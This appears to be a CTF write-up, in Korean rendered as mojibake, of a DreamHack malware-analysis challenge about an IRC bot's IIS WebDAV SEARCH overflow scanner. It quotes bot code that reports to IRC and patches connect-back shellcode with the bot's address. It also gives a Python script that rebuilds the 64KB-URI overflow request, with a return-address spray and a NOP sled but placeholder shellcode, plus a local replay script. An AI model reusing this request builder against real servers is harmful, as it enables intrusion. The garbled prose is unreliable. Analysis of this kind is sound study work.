๋ฌธ์ : DreamHack โ [CodeEngn] Malware L02 ๋ถ๋ฅ: Misc (์ ์ฑ์ฝ๋ ๋ถ์) ๋์ด๋: ๐ฅ Silver 4 FLAG:
webdav
๋ฐ์ด๋๋ฆฌ๋ ์๋ฒ๋ ์๋ค. .cpp ํ์ผ ํ๋๊ฐ ์ ๋ถ๊ณ , ๋ฌผ์ด๋ณด๋ ๊ฒ๋ ๋ฑ ํ ์ค์ด๋ค.
# show_desc.sh
#!/bin/sh
# ๋๋ฆผํต API ์์ ์ด ๋ฌธ์ ์ ์ ๋ชฉยท๋ถ๋ฅยท์ค๋ช
๋ง ๋ฝ์ ๋ณธ๋ค
python3 ~/Dev/Hacking_Project/_๋๊ตฌ/dreamhack_auto/fetch_desc.py 369 | python3 -c '
import sys, json
d = json.load(sys.stdin)
print("์ ๋ชฉ :", d["title"].strip())
print("๋ถ๋ฅ :", ", ".join(d["tags"]))
print("ํผ ์ฌ๋ :", d["cnt_solvers"], "๋ช
")
print("๋ฐฐํฌํ์ผ:", ", ".join(f["name"] for f in d.get("files", [])) or "(์๋ต์ ์์)")
print()
print("[๋ฌธ์ ์ค๋ช
]")
print(d["description"].strip())
'./show_desc.sh
์์๋ก ์ค ddos๋ ๊ฐ์ ์๋ฆฌ์ฆ Malware L01์ ์ ๋ต์ด๋ค. ๊ทธ๋ฌ๋ ํ์์ ํ์คํ๋ค โ ์๋ฌธ์ ํ ๋จ์ด. ๋ฌธ์ ๋ ์ด ์ฝ๋๊ฐ ๊ฒจ๋๋ ๊ฒ ์ ํํ ๋ฌด์์ด๋๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | [CodeEngn] Malware L02 |
| ๋์ด๋ | ๐ฅ Silver 4 |
| ๋ถ๋ฅ | Misc / ์ ์ฑ์ฝ๋ ๋ถ์ |
| ์ ๊ณต ํ์ผ | 24FFA091.cpp โ 3,154๋ฐ์ดํธ, 62์ค, CRLF |
| ๋ต์ ํ์ | ์๋ฌธ์ยท๊ณต๋ฐฑ ์์ ํ ๋จ์ด |
| ํต์ฌ ํ๋จ | ์์ฒญ ๋ณธ๋ฌธ์ DAV: ๋ค์์คํ์ด์ค + 64KB์ง๋ฆฌ SEARCH URI |
๐ฌ ์ ์ฐฐ โ 62์ค์ด ์ ๋ถ๋ค
file extracted/24FFA091.cpp && wc -lc extracted/24FFA091.cpp && sha256sum extracted/24FFA091.cpp
์ปดํ์ผ๋๋ ์๊ฒฐ ํ๋ก๊ทธ๋จ์ด ์๋๋ค. CString, g_cMainCtrl, xWrite ๊ฐ์ ์ด๋ฆ๋ค์ด ์ ์ธ ์์ด ํ์ด๋์ค๋ ๊ฑธ ๋ณด๋ฉด ํฐ ํ๋ก์ ํธ์์ ํ์ผ ํ๋๋ง ์๋ผ๋ธ ์กฐ๊ฐ์ด๋ค. ๊ทธ๋์ ๋๊ตฌ๋ฅผ ๋๋ฆด ๊ฒ ์๊ณ , ์ฝ๋ ์๋ฐ์ ์๋ค.
cat -n extracted/24FFA091.cpp | sed -n 1,22p![ํด๋ฆญํ์ฌ ํ๋ ์์ค 1~22ํ โ body[] ์ XML ์์ฒญ์ด ๋ค์ด ์๊ณ StartScan ์ 80 ํฌํธ๋ฅผ ํ์ธํ ๋ค Exploit ์ ๋ถ๋ฅธ๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-codeengn-malware-l02-writeup%2F03_source_top.png&w=3840&q=75)
์ฒซ ๋ค ์ค๋ถํฐ ๋ต์ ์ ๋ฐ์ด ๋์ ์๋ค.
char body[]=
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
"</g:searchrequest>\r\n";๊ทธ๋ฆฌ๊ณ StartScan์ ์ด ๋ชจ๋์ด ๋ฌด์์ ๋
ธ๋ฆฌ๋์ง ํ ์ค๋ก ๋งํด ์ค๋ค.
if(ScanPort(sHost.CStr(), 80))
{ g_cMainCtrl.m_cIRC.SendFormat(..., "%s: scanning ip %s:80.", ...);
bSuccess=Exploit(sHost); }80 ํฌํธ๊ฐ ์ด๋ ค ์์ ๋๋ง Exploit์ผ๋ก ๋์ด๊ฐ๋ค. ์น ์๋ฒ๊ฐ ํ์ ์ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ SEARCH๋ HTTP๊ฐ ์๋๋ผ WebDAV์ ๋ฉ์๋๋ค
GETยทPOSTยทHEAD๋ HTTP ํ์ค ๋ฉ์๋์ง๋ง SEARCH๋ ์๋๋ค. WebDAV(RFC 4918 ๊ณ์ด)๊ฐ HTTP ์์ ์น์ ํ์ฅ ๋ฉ์๋๊ณ , ์๋ฒ ์ชฝ ์ ์ฅ์๋ฅผ ์ง์ํ ๋ ์ด๋ค. ๊ทธ ์ง์๋ฌธ์ ๋ณธ๋ฌธ์ XML๋ก ์ค์ด ๋ณด๋ด๋๋ฐ, ๋ค์์คํ์ด์ค๊ฐ DAV: ๋ผ๋ ๊ฒ ๊ฒฐ์ ์ ์ธ ํ์์ด๋ค.
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
Select "DAV:displayname" from scope()๋ WebDAV SEARCH์ ๊ต๊ณผ์์ ์ธ ์ง์๋ฌธ์ด๋ค. ์ฆ ์ด ์ฝ๋๋ ๋์ ์น ์๋ฒ์ WebDAV ํ์ฅ์ ๋ง์ ๊ฑธ๊ณ ์๋ค.
์ฌ๊ธฐ๊น์ง๋ง ๋ด๋ webdav๊ฐ ์ ๋ ฅํ๋ค. ๋ค๋ง "์น ์๋ฒ๋ฅผ ๊ณต๊ฒฉํ๋ค"๋ ๊ฒ๊ณผ "WebDAV๋ฅผ ๊ณต๊ฒฉํ๋ค"๋ ๊ฑด ๋ค๋ฅธ ๋ต์ด๋ผ, ๋ณธ๋ฌธ XML๋ง ๋ณด๊ณ ๋จ์ ํ๊ธฐ๋ ์์ง ์ด๋ฅด๋ค. WebDAV ์ง์๋ฌธ์ ๊ทธ๋ฅ ๋ง์ ๊ฑธ๊ธฐ ์ํ ๊ป๋ฐ๊ธฐ์ผ ์๋ ์์ผ๋๊น.
๐น๏ธ ์ด ํ์ผ์ ๋ด๋ท์ ์ค์บ๋ ๋ชจ๋์ด๋ค
๋ต์ ํ์ ํ๊ธฐ ์ ์, ์ด ์ฝ๋๊ฐ ์ด๋์ ์นํ ์๋์ง๋ถํฐ ๋ณด๋ ๊ฒ ์์๋ค.
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
CScannerMalware_L02โ ํด๋์ค ์ด๋ฆ๋ถํฐ ์ค์บ๋๋ค. ๋ฌธ์ ์ถ์ ์๊ฐ ์๋ ํด๋์ค๋ช ์Malware_L02๋ก ๋ฐ๊ฟ ๋์๋ค.g_cMainCtrl.m_cIRC.SendFormat(...)โ ์งํ ์ํฉ์ IRC ์ฑ๋๋ก ๋ณด๊ณ ํ๋ค.scanning ip %s:80.,exploited ip %s.๋ ์ค์ด ๊ทธ๋๋ก ๋ค์ด ์๋ค.g_cMainCtrl.m_cBot.bot_ftrans_port.iValueโ ๋ด์ด ๋์ ๋ ํ์ผ ์ ์ก ํฌํธ ๋ฒํธ๋ฅผ ์์ฝ๋์ ์ฌ๋๋ค.setup_shellcode(..., Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, ...)โ ์์ฝ๋ ์์ ํฌํธยทIP ์๋ฆฌ๋ฅผ ๋ฐํ์์ ๋ฎ์ด์ด๋ค. ์ฐ๊ฒฐ๋ณต๊ทํ ๋ค์ด๋ก๋๋ผ๋ ๋ป์ด๋ค.
์ ์ญ ์ปจํธ๋กค๋ฌ(g_cMainCtrl)ยทIRC ๋ชจ๋ยทCScanner* ์๋ธํด๋์คยท์ค์ ๊ฐ ๊ฐ์ฒด(bot_ftrans_port.iValue)๋ผ๋ ์กฐํฉ์ 2000๋
๋ ์ด Agobot/Phatbot ๊ณ์ด ๋ด ์์ค์ ๊ตฌ์กฐ ๊ทธ๋๋ก๋ค. ์ ํํ ๊ณ๋ณด๋ฅผ ์ด ์กฐ๊ฐ๋ง์ผ๋ก ๋ชป ๋ฐ์ ์๋ ์์ง๋ง, IRC๋ก ์กฐ์ข
๋๋ ๋ด์ ์๊ฐ์ ํ ๋ชจ๋์ด๋ผ๋ ๊ฑด ์ฝ๋์ ๊ทธ๋๋ก ์ ํ ์๋ค.
IsPrivate() ๋ ๋ฒ ํธ์ถ๋ ์ฌ๋ฏธ์๋ค.
if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
iShellSize=setup_shellcode(..., inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), ...);
else
iShellSize=setup_shellcode(..., g_cMainCtrl.m_cIRC.m_lLocalAddr, ...);์๊ธฐ๋ ์ฌ์ค๋ง์ธ๋ฐ ํ์ ์ด ๊ณต์ธ๋ง์ด๋ฉด ๋๋์์ฌ ์ฃผ์๋ฅผ ๋ค๋ฅด๊ฒ ์ก๋๋ค. NAT ๋ค์์๋ ๊ฐ์ผ์ ์ด์ด๊ฐ๋ ค๋ ๋ฐฐ๋ ค๋ค.

๐ ์ฝ์ง โ URI ๊ธธ์ด๋ฅผ 65,535๋ก ์ ๋ค
์ฌ๊ธฐ์ ํ ๋ฒ ์๋ชป ์ธ๊ณ ๋์ด๊ฐ๋ค (ํผ์น๊ธฐ)
์์ฒญ์ ์กฐ๋ฆฝํ๋ ๋ถ๋ถ์ ์ฒ์ ์ฝ์์ ๋, ๋๋ URI ๊ธธ์ด๋ฅผ 65,535๋ฐ์ดํธ๋ก ์ ์ด ๋๋ค. for(;j<i+65535-strlen(jumpcode);j++)๋ผ๊ณ 65535๊ฐ ๋์ ๋๋๊ณ ๋ฐํ ์์ผ๋ ๊ทธ๋ ๊ฒ ์ฝ๋ ๊ฒ ์์ฐ์ค๋ฝ๋ค.
๊ทธ๋ฐ๋ฐ ๋ฐ์ดํธ๋ก ์ฌ๊ตฌ์ฑํด ๋ณด๋ 65,536์ด ๋์๋ค. ์ฐจ์ด๋ ์ฌ๋์ ํ๋๋ค.
strcpy(szReqBuf, "SEARCH /"); // 8๋ฐ์ดํธ โ ๋ง์ง๋ง ๊ธ์๊ฐ '/' ๋ค
int j, i=strlen(szReqBuf); // i = 8URI๋ "SEARCH " ๋ค์์ /๋ถํฐ ์์ํ๋ค. ๊ทธ /๊ฐ ์คํ์
7์ ์๊ณ , ๋ค์ 65,535๋ฐ์ดํธ๊ฐ ๋ ๋ถ๋๋ค. ๊ทธ๋์ URI๋ 1 + 65535 = 65536 โ ์ ํํ 0x10000์ด๋ค.
1๋ฐ์ดํธ ์ฐจ์ด๊ฐ ์ด ๋ฌธ์ ์ ์ ๋ถ์๋ค. 65,535์๋ค๋ฉด "๊ทธ๋ฅ ์์ฃผ ๊ธด URI"์ง๋ง, 65,536์ด๋ฉด 64KB ๊ฒฝ๊ณ๋ฅผ ์ ํํ ๋๊ธฐ๋ ค๊ณ ๊ณ์ฐํด์ ๋ง์ถ ์ซ์๋ค. ์ฐ์ฐํ ํฐ ๊ฐ์ ๊ณ ๋ฅธ ๊ฒ ์๋๋ผ ํน์ ๋ฒํผ ํฌ๊ธฐ๋ฅผ ๋
ธ๋ ธ๋ค๋ ์ฆ๊ฑฐ๊ณ , ๊ทธ๋๋ถํฐ ๋ต์ด iis(์ ํ)๊ฐ ์๋๋ผ webdav(๊ทธ ์ ํ์ ์ด๋ ๋ถ๋ถ)์ฌ์ผ ํ๋ค๋ ํ์ ์ด ์ฐ๋ค.
์ฝ๊ธฐ๋ง ํ๊ณ ๋์ด๊ฐ์ผ๋ฉด ๋ชป ๋ดค์ ๊ฒ์ด๋ค. ์งง์ ์ฝ๋์ผ์๋ก ์ค์ ๋ก ๋๋ ค ๋ณด๋ ๊ฒ ์ธ๊ฒ ๋จนํ๋ค.
๐ฃ ํต์ฌ โ ์ด ์ฝ๋๊ฐ ๋ฑ๋ ๋ฐ์ดํธ๋ฅผ ๊ทธ๋๋ก ๋ง๋ค์ด ๋ณธ๋ค
Exploit() ๋ท๋ถ๋ถ์ด ์์ฒญ์ ์กฐ๋ฆฝํ๋ ์๋ฆฌ๋ค.
cat -n extracted/24FFA091.cpp | sed -n 39,56p
์ฝ๋ ๊ฒ๋ณด๋ค ๊ทธ๋๋ก ์ฎ๊ฒจ ์คํํ๋ ๊ฒ ํ์คํ๋ค. C ์ฝ๋๋ฅผ ํ ์ค์ฉ ํ์ด์ฌ์ผ๋ก ๋ฒ ๊ผ๋ค. jumpcode์ Malware_L02_shellcode๋ ์ด ๋ฐ์ท์ ์๋ ์ธ๋ถ ์ฌ๋ณผ์ด๋ผ ๊ธธ์ด๋ง ํ๋ผ๋ฏธํฐ๋ก ๋๊ณ ์๋ฆฌํ์ ๋ฐ์ดํธ๋ฅผ ์ฑ์ ๋ค โ ์ถ๋ ฅ์์๋ ์ธ๋ถ์ฌ๋ณผ๋ก ํ์ํ๋ค.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
[CodeEngn] Malware L02 โ 24FFA091.cpp ์ Exploit() ๊ฐ ์ค์ ๋ก ๋ง๋ค์ด ๋ด๋ ๋ฐ์ดํธ์ด์ ๊ทธ๋๋ก ์ฌ๊ตฌ์ฑํ๋ค.
C++ ์๋ณธ์ ํ ์ค์ฉ ๊ทธ๋๋ก ์ฎ๊ฒผ๋ค. ์ธ๋ถ ์ฌ๋ณผ(jumpcode / Malware_L02_shellcode)์ ์ด ๋ฐ์ท์ ์์ผ๋ฏ๋ก
๊ธธ์ด๋ง ํ๋ผ๋ฏธํฐ๋ก ๋๊ณ ์๋ฆฌํ์ ๋ฐ์ดํธ๋ฅผ ์ฑ์ด๋ค โ ๊ทธ ์๋ฆฌ๋ ์ถ๋ ฅ์์ '์ธ๋ถ์ฌ๋ณผ'๋ก ํ์ํ๋ค.
"""
import sys
# โโ ์๋ณธ์ body[] ์์ (24FFA091.cpp 1~4ํ) ๋ฅผ ๊ทธ๋๋ก ์ฎ๊ธด ๊ฒ โโโโโโโโโโโโ
BODY = (
b'<?xml version="1.0"?>\r\n<g:searchrequest xmlns:g="DAV:">\r\n'
b'<g:sql>\r\nSelect "DAV:displayname" from scope()\r\n'
b'</g:sql>\r\n'
b'</g:searchrequest>\r\n'
)
RET = 0xB102 # unsigned short ret=0xB102;
NOP_SIZE = 100 # iNOPSize=100
HOST = "192.0.2.10" # sHost โ ๋ฌธ์์ฉ ์์ฝ๋์ญ(RFC 5737)
# ์ด ๋ฐ์ท์ ์๋ ์ธ๋ถ ์ฌ๋ณผ. ๊ธธ์ด๋ง ๊ฐ์ ํ๊ณ ์๋ฆฌํ์๋ก ์ฑ์ด๋ค.
JUMPCODE_LEN = 8 # strlen(jumpcode)
SHELLCODE_LEN = 344 # iShellSize = setup_shellcode(...) ์ ๋ฐํ๊ฐ
JUMPCODE = b"\xE9" + b"\xCC" * (JUMPCODE_LEN - 1)
SHELLCODE = b"\xCC" * SHELLCODE_LEN
def build():
buf = bytearray(100000) # malloc(100000) + memset(...,0,100000)
# strcpy(szReqBuf, "SEARCH /");
buf[0:8] = b"SEARCH /"
i = 8 # i = strlen(szReqBuf)
# szReqBuf[i]='\x90';
buf[i] = 0x90
# for(j=i+1; j<i+2150; j+=2) memcpy(szReqBuf+j, &ret, 2);
ret_le = RET.to_bytes(2, "little") # 0xB102 โ 02 B1
j = i + 1
spray_start, spray_n = j, 0
while j < i + 2150:
buf[j:j + 2] = ret_le
spray_n += 1
j += 2
spray_end = j # ๋ง์ง๋ง 2๋ฐ์ดํธ ์ฐ๊ธฐ๊ฐ ๋๋ ๋ค์ ์์น
# for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
sled_start = j
while j < i + 65535 - len(JUMPCODE):
buf[j] = 0x90
j += 1
sled_end = j
# memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
buf[j:j + len(JUMPCODE)] = JUMPCODE
uri_total = j + len(JUMPCODE) # ์์ฒญ๋ผ์ธ์ URI ๋
def slen(): # strcat/sprintf ๊ฐ ์ฐ๋ strlen โ ์ฒซ NUL ๊น์ง
return buf.index(0)
# strcat(szReqBuf, " HTTP/1.1\r\n");
p = slen(); tail = b" HTTP/1.1\r\n"; buf[p:p + len(tail)] = tail
# sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\n...Content-Length: %d\r\n\r\n", ...)
declared = len(BODY) + len(SHELLCODE) # strlen(body)+iShellSize
hdr = ("Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n"
% (HOST, declared)).encode()
p = slen(); buf[p:p + len(hdr)] = hdr
# strcat(szReqBuf, body);
p = slen(); buf[p:p + len(BODY)] = BODY
# memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
p = slen(); buf[p] = 0x01
# memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
p = slen(); buf[p:p + 3] = b"\x90" * 3
# memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize); szSCBuf = NOP*100 + shellcode
sc = b"\x90" * NOP_SIZE + SHELLCODE
p = slen(); sc_at = p; buf[p:p + len(sc)] = sc
# iReqSize=strlen(szReqBuf);
req_size = slen()
req = bytes(buf[:req_size])
return req, dict(uri_total=uri_total, spray_start=spray_start, spray_n=spray_n,
spray_end=spray_end, sled_start=sled_start, sled_end=sled_end,
declared=declared, sc_at=sc_at, sc_len=len(sc), req_size=req_size)
def main():
req, m = build()
uri = req[7:m["uri_total"]] # '/' ๋ถํฐ URI ๋๊น์ง
print("[๊ตฌ์กฐ] 24FFA091.cpp Exploit() ๊ฐ ์์ผ์ผ๋ก ๋ด๋ณด๋ด๋ ๋ฐ์ดํธ")
print(" ์์ฒญ ๋ฉ์๋ : %s" % req[:8].decode())
print(" URI ๊ธธ์ด : %d ๋ฐ์ดํธ (0x%X) <-- '/' ํฌํจ" % (len(uri), len(uri)))
print(" ret ์คํ๋ ์ด : off %d..%d, 0x%04X('%s') x %dํ"
% (m["spray_start"], m["spray_end"] - 1, RET,
RET.to_bytes(2, "little").hex(" "), m["spray_n"]))
print(" NOP ์ฌ๋ ๋ : off %d..%d (0x90 x %d)"
% (m["sled_start"], m["sled_end"] - 1, m["sled_end"] - m["sled_start"]))
print(" jumpcode : off %d..%d (%d๋ฐ์ดํธ, ์ธ๋ถ์ฌ๋ณผ)"
% (m["sled_end"], m["uri_total"] - 1, len(JUMPCODE)))
print(" ์ ์ธํ Content-Length : %d (= strlen(body) %d + iShellSize %d)"
% (m["declared"], len(BODY), len(SHELLCODE)))
print(" ์ค์ ๋ณธ๋ฌธ ๊ธธ์ด : %d (์ ์ธ๋ณด๋ค %d ๋ง๋ค: 0x01 1 + NOP 3 + NOP์ฌ๋ ๋ %d)"
% (m["req_size"] - req.index(b"\r\n\r\n") - 4,
(m["req_size"] - req.index(b"\r\n\r\n") - 4) - m["declared"], NOP_SIZE))
print(" ์์ฝ๋ ์์ : off %d (NOP %d + shellcode %d, ์ธ๋ถ์ฌ๋ณผ)"
% (m["sc_at"], NOP_SIZE, len(SHELLCODE)))
print(" ์ ์ฒด ์์ฒญ ํฌ๊ธฐ : %d ๋ฐ์ดํธ" % m["req_size"])
print()
print("[64KB ๊ฒฝ๊ณ] URI ๋ฅผ ANSIโUTF-16 ๋ก ๋ํ๋ฉด")
print(" %d ๋ฐ์ดํธ x 2 = %d ๋ฐ์ดํธ > 0xFFFF(%d)"
% (len(uri), len(uri) * 2, 0xFFFF))
print(" ์คํ๋ ์ด 2๋ฐ์ดํธ '02 b1' ์ ์์ด๋ ์ด๋ฏธ์ง = '02 00 b1 00' โ DWORD 0x00B10002")
print()
print("[๋ณธ๋ฌธ XML]")
for line in BODY.decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
print(" " + line)
with open("request.bin", "wb") as f:
f.write(req)
print()
print("[์ ์ฅ] request.bin (%d ๋ฐ์ดํธ)" % len(req))
if __name__ == "__main__":
sys.exit(main())python3 build_request.py
์ซ์๊ฐ ๋ค ๋์๋ค.

์ฌ๊ธฐ์ ์ฝํ๋ ๊ฒ ์ธ ๊ฐ์ง๋ค.
1. URI๊ฐ ์ ํํ 0x10000์ด๋ค. ์์ ์ฝ์ง ํ ๊ธ์์ ์ ์๋ฏ / ํ ๊ธ์ ๋์ 65,536์ด ๋๋ค. ANSI ๋ฌธ์์ด์ด UTF-16์ผ๋ก ๋์ด์ง๋ค๊ณ ๋๊ณ ๋ณด๋ฉด 131,072๋ฐ์ดํธ๊ฐ ๋์ด 0xFFFF์ง๋ฆฌ ๋ฒํผ๋ฅผ ๊ทธ๋ฅ ๋๊ธด๋ค. ์ด๊ฑด ํน์ ๋ฒํผ ํฌ๊ธฐ๋ฅผ ๊ฒจ๋ ์ซ์์ง, ๊ทธ๋ฅ ํฌ๊ฒ ์ก์ ๊ฐ์ด ์๋๋ค.
2. ์๋จธ๋ฆฌ 2,150๋ฐ์ดํธ๊ฐ 0xB102 ๋ฐ๋ณต์ด๋ค. unsigned short ret์ด๋ผ๋ ๋ณ์ ์ด๋ฆ ๊ทธ๋๋ก, ๋ฎ์ด์ธ ๋ณต๊ท ์ฃผ์ ํ๋ณด๋ฅผ ์ด์ดํ ๊น์ ๋ ์คํ๋ ์ด๋ค. ๋ค์ด์ด 63,376๋ฐ์ดํธ์ง๋ฆฌ 0x90 NOP ์ฌ๋ ๋๊ฐ ์ค๊ณ , ๋งจ ๋ 8๋ฐ์ดํธ๋ง jumpcode๋ค. ์คํ ์ด๋๊ฐ์ ์ ํํ ์ฐฉ์งํ์ง ๋ชปํด๋ ์ฌ๋ ๋ ์ ์ด๋๋ ๋จ์ด์ง๋ฉด ํ๋ฌ๊ฐ๊ฒ ๋ง๋ ๋ฐฐ์น๋ค.
๋ค๋ง ์ด ๋ ๋ฐ์ดํธ๊ฐ ์ด๋ DWORD ์๋ฆฌ์์ ์ ์ฅ๋ ๋ณต๊ท ์ฃผ์๋ฅผ ๋ฎ๋๋๋ ์ฌ๊ธฐ์ ํ์ธํ ์ ์๋ค. ์ทจ์ฝํ Windows ํ์ ์ด ์์ด์ผ ์ ์ ์๋ ๋ถ๋ถ์ด๋ผ, ์ด ๊ธ์์๋ "๋ณต๊ท ์ฃผ์ ์คํ๋ ์ด"๋ผ๋ ๊ตฌ์กฐ๊น์ง๋ง ์ฌ์ค๋ก ๋๋ค.
3. Content-Length๊ฐ 104๋ฐ์ดํธ ๋ชจ์๋ผ๋ค. ์ ์ธ์ 479์ธ๋ฐ ์ค์ ๋ก ๋ณด๋ด๋ ๋ณธ๋ฌธ์ 583๋ฐ์ดํธ๋ค. strlen(body)+iShellSize๋ง ์ธ๊ณ ์ฌ์ด์ ๋ 0x01 1๋ฐ์ดํธ, NOP 3๋ฐ์ดํธ, ๊ทธ๋ฆฌ๊ณ ์์ฝ๋ ์์ NOP ์ฌ๋ ๋ 100๋ฐ์ดํธ๋ฅผ ์ ์
๋ค. ํ์ ์ด ๋ณธ๋ฌธ์ ์ฑ์คํ ํ์ฑํ์ง ์์ ๊ฑธ ์๊ณ ์ง ์ฝ๋๋ค โ ์ด์ฐจํผ ํ์ฑ ์ ์ URI์์ ๋์น ํ
๋๊น.
ํ ๊ฐ์ง ๋. ๋ง์ง๋ง ์ค์ด iReqSize=strlen(szReqBuf);์ธ๋ฐ, ์ด๋ฌ๋ฉด ์์ฝ๋์ NUL ๋ฐ์ดํธ๊ฐ ํ๋๋ผ๋ ์์ผ๋ฉด ๊ฑฐ๊ธฐ์ ์์ฒญ์ด ์๋ฆฐ๋ค. ์ด ์ฝ๋๋ NUL-free ์์ฝ๋๋ฅผ ์ด๋ค๋ ์ ์ ์์ ์ ์๋ค.
๐ ํฅ์ค๋คํ๋ก ํ์ธ โ ๊ฒฝ๊ณ๊ฐ ๋์ ๋ณด์ธ๋ค
xxd -l 96 request.bin
53 45 41 52 43 48 20 2f(SEARCH /) โ 90 โ 02 b1 02 b1 โฆ. ์์ค์ ํ ๋ฐ์ดํธ๋ ์ด๊ธ๋์ง ์๋๋ค.
URI๊ฐ ๋๋๋ ์๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋ ๋ถ๋ช ํ๋ค.
xxd -s 65520 -l 288 request.bin
00010000 ์ค์์ cc ๋ฐ์ดํธ(์๋ฆฌํ์ jumpcode)๊ฐ ๋๋๊ณ ๊ณง๋ฐ๋ก 20 48 54 54 50( HTTP)์ด ์์๋๋ค. URI์ ๋ง์ง๋ง ๋ฐ์ดํธ๊ฐ ์คํ์
0x10006, ์ฆ /๋ถํฐ ์ธ๋ฉด ์ ํํ 64KB. ๊ทธ ์๋๋ก Host:, Content-Type: text/xml, Content-Length: 479๊ฐ ์ด์ด์ง๊ณ <g:searchrequest xmlns:g="DAV:"> ๋ณธ๋ฌธ์ด ๋ถ๋๋ค. ๋ณธ๋ฌธ ๋ 0190 9090์ด 0x01 + NOP 3๊ฐ๋ค.
๐งช ์์ผ ์์์ ํ ๋ฒ ๋
ํ์ผ๋ก๋ง ๋ณด๋ฉด "๋ด๊ฐ ํ์ด์ฌ์ผ๋ก ๋ง๋ ๋ฐ์ดํธ์ด"์ผ ๋ฟ์ด๋ค. ์ค์ ๋ก TCP๋ก ํ๋ ค์, ๋ฐ๋ ์ชฝ์ด ์ด๊ฑธ ๋ฌด์์ผ๋ก ์ฝ๋์ง ๋ด์ผ ํ์คํ๋ค. ์ทจ์ฝํ IIS๋ฅผ ์ธ์ฐ๋ ๊ฒ ๋ชฉ์ ์ด ์๋๋ผ ์์ฒญ ๋ผ์ธ์ด ์ ๋ง WebDAV SEARCH + 64KB URI๋ก ์ฑ๋ฆฝํ๋์ง๋ง ํ์ธํ๋ ๊ฒ์ด๋ค.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
build_request.py ๊ฐ ๋ง๋ request.bin ์ ์ค์ TCP ์์ผ์ผ๋ก ํ๋ ค ๋ณด๋ด๊ณ ,
๋ฐ๋ ์ชฝ์์ ๋ฌด์์ด ๋์ฐฉํ๋์ง ๋ฏ์ด ๋ณธ๋ค.
์ทจ์ฝํ IIS 5.0 ์ ์ผ ๋๊ณ ํ๋ ๊ฒ ์๋๋ค. ๋ชฉ์ ์ ํ๋ โ ์ฌ๊ตฌ์ฑํ ๋ฐ์ดํธ์ด์ด
์ง์ง HTTP ์์ฒญ์ผ๋ก ์ฑ๋ฆฝํ๋์ง, ๊ทธ๋ฆฌ๊ณ ์์ฒญ ๋ผ์ธ์ด ์ ๋ง WebDAV SEARCH + 64KB URI ์ธ์ง
์์ผ ์์์ ํ์ธํ๋ ๊ฒ์ด๋ค.
"""
import socket
import threading
HOST, PORT = "127.0.0.1", 8080
received = {}
def server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(1)
conn, addr = srv.accept()
chunks = []
conn.settimeout(2.0)
try:
while True:
b = conn.recv(65536)
if not b:
break
chunks.append(b)
except socket.timeout:
pass
received["peer"] = addr
received["data"] = b"".join(chunks)
conn.close()
srv.close()
t = threading.Thread(target=server)
t.start()
payload = open("request.bin", "rb").read()
cli = socket.create_connection((HOST, PORT))
cli.sendall(payload)
cli.close()
t.join()
data = received["data"]
head, _, body = data.partition(b"\r\n\r\n")
reqline, _, hdrs = head.partition(b"\r\n")
method, _, rest = reqline.partition(b" ")
uri, _, ver = rest.rpartition(b" ")
print("[์์ ] %s:%d ์์ %d ๋ฐ์ดํธ" % (received["peer"][0], received["peer"][1], len(data)))
print("[์์ฒญ๋ผ์ธ] method=%s version=%s" % (method.decode(), ver.decode()))
print("[์์ฒญ๋ผ์ธ] URI ๊ธธ์ด = %d ๋ฐ์ดํธ (0x%X)" % (len(uri), len(uri)))
print("[์์ฒญ๋ผ์ธ] URI ์ 12๋ฐ์ดํธ = %s" % uri[:12].hex(" "))
print("[์์ฒญ๋ผ์ธ] URI ๋ค 12๋ฐ์ดํธ = %s" % uri[-12:].hex(" "))
print("[์์ฒญ๋ผ์ธ] URI ๋ฐ์ดํธ ๋ถํฌ = %s"
% ", ".join("%02x:%d" % (b, uri.count(b)) for b in sorted(set(uri))[:6]))
print()
print("[ํค๋]")
for h in hdrs.split(b"\r\n"):
print(" " + h.decode())
print()
print("[๋ณธ๋ฌธ] ์ ์ธ Content-Length=%s / ์ค์ ์์ ๋ณธ๋ฌธ=%d ๋ฐ์ดํธ"
% (dict(h.split(b": ", 1) for h in hdrs.split(b"\r\n"))[b"Content-Length"].decode(), len(body)))
print("[๋ณธ๋ฌธ] XML ๋ถ๋ถ:")
xml_end = body.find(b"</g:searchrequest>\r\n") + len(b"</g:searchrequest>\r\n")
for line in body[:xml_end].decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
print(" " + line)
print("[๋ณธ๋ฌธ] XML ๋ค์ ๋ถ์ %d ๋ฐ์ดํธ = %s ..." % (len(body) - xml_end, body[xml_end:xml_end + 8].hex(" ")))
print("[ํ์ ] WebDAV SEARCH ์์ฒญ โ DAV: ๋ค์์คํ์ด์ค ๋ณธ๋ฌธ + URI %d(0x%X)๋ฐ์ดํธ"
% (len(uri), len(uri)))python3 replay_local.py
๋ฐ๋ ์ชฝ์ด ์ฝ์ ๊ฒฐ๊ณผ๊ฐ ๊ทธ๋๋ก ๋์จ๋ค.
